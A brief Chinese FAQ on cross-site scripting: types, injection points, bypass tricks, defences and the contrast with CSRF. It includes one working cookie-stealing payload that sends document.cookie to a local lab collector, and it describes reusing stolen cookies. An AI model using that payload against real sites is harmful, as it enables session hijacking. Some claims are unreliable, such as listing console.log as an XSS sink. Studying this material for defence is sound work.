XSS常见问题
-
XSS原理
web应用程序对输入和输出没有进行严格过滤、攻击者可以插入构造的恶意javascript脚本,当正常用户浏览网页时,被浏览器当作有效代码解析执行,盗取用户数据或执行其他恶意操作。 -
DOM型xss漏洞容易出现的地方有哪些?
1、可以被innerHTML或outerHTML属性修改的节点:节点如果没有对输入进行恰当的转义或清理就可能存在。
2、可以插入script标签属性的节点:如src、href、onerror、onclick等
3、console.log()
4、document.writer():使用 document.write 向页面中写入一个 img 标签, src访问 cookie.php 并提供 cookie 参数为 document.cookie
<script>document.write('<img src="http://127.0.0.1/pkxss/xcookie/cookie.php? cookie='+document.cookie+'"/>')</script>
-
XSS获取cookie后如何利用
通过burpsuite抓包、改包、利用成功获取到的cookie值进行登录。 -
XSS漏洞的分类
反射型、存储型、DOM型
反射型和DOM型都是一次的,反射型要发送到服务器读取,DOM型数据仅在前端解析,不发送到服务器
存储型插入到数据库,可以多次利用,持续时间长
反射型最多 -
XSS常见的利用方式
利用XSS进行钓鱼、盗取cookie信息、盗取用户身份信息进行非法操作、传播恶意代码 -
XSS常见绕过方式
大小写、双写、编码、属性、javascript伪协议、 -
XSS可能存在点?
一般涉及到数据交互的地方,服务器读取客户端提交的数据并返回读取到数据到前端HTML页面。如注册处、留言板、文章标题、评论区、查询信息后返回前端显示
个人信息、订单信息、搜索框、表单、私信、意见反馈、目录 -
XSS防御
对输出编码、对输入过滤、设置白名单
对cookie值设置Httponly属性
DOM型对插入HTML进行转义
禁止外联脚本和未授权脚本
设置WAF防火墙 -
XSS与CSRF区别
XSS是利用漏洞盗取用户权限进行攻击,不需要用户登录;CSRF需要在用户登录的情况下诱骗用户点击恶意链接,借助用户的权限完成攻击,并没有拿到用户权限。